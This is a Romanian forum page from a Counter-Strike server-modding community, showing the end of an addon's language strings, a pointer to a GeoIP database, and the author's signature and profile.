CVAR_IS = Cvar %s este %s
UNKNOWN_CVAR = Cvar %s necunoscut[/code]
Verificați mereu baza de date pentru noul modul GeoIP+(cele de pe maxmind) de aici - https://forums.alliedmods.net/showthread.php?t=95665
Last edited by L E V I N on 05 Mar 2019, 22:12, edited 1 time in total.
Nu fac nimic contra cost! Faceți cerere bine detaliată aici, pe forum. Nu-mi mai dați add pe Steam doar pentru a mă avea în lista de prieteni.
Am cont și activez doar aici! Aveți grijă la cei ce încearcă să mă copieze..Puteți lua legătura cu mine dacă aveți o problemă/nelămurire în acest caz.
IG-BOOST.org - Instagram Followers Best, Cheap, Reliable
User avatar
L E V I N
Scripter eXtreamCS
Scripter eXtreamCS
Posts: 2180
Joined: 24 Aug 2011, 11:24
Detinator Steam: Da
CS Status:
Detinator server CS: ☯∴
SteamID: riseofevo
Reputatie: Scripter eXtreamCS
Nume anterior: Adryyy
Location: ҳ̸Ҳ̸ҳ
Has thanked: 33 times
Been thanked: 349 times
Contact:

24 Feb 2019, 23:44

cele de sus se aplică și pentru restul de addons-uri posta de mine(fiind „multi-addons”)
va urma o pagină cu afișarea modificărilor în timp real pentru toate addons-urile postate aici
Nu fac nimic contra cost! Faceți cerere bine detaliată aici, pe forum. Nu-mi mai dați add pe Steam doar pentru a mă avea în lista de prieteni.
Am cont și activez doar aici! Aveți grijă la cei ce încearcă să mă copieze..Puteți lua legătura cu mine dacă aveți o problemă/nelămurire în acest caz.
Post Reply

Return to “Addon-uri”

  • Information
  • Who is online

    Users browsing this forum: No registered users and 3 guests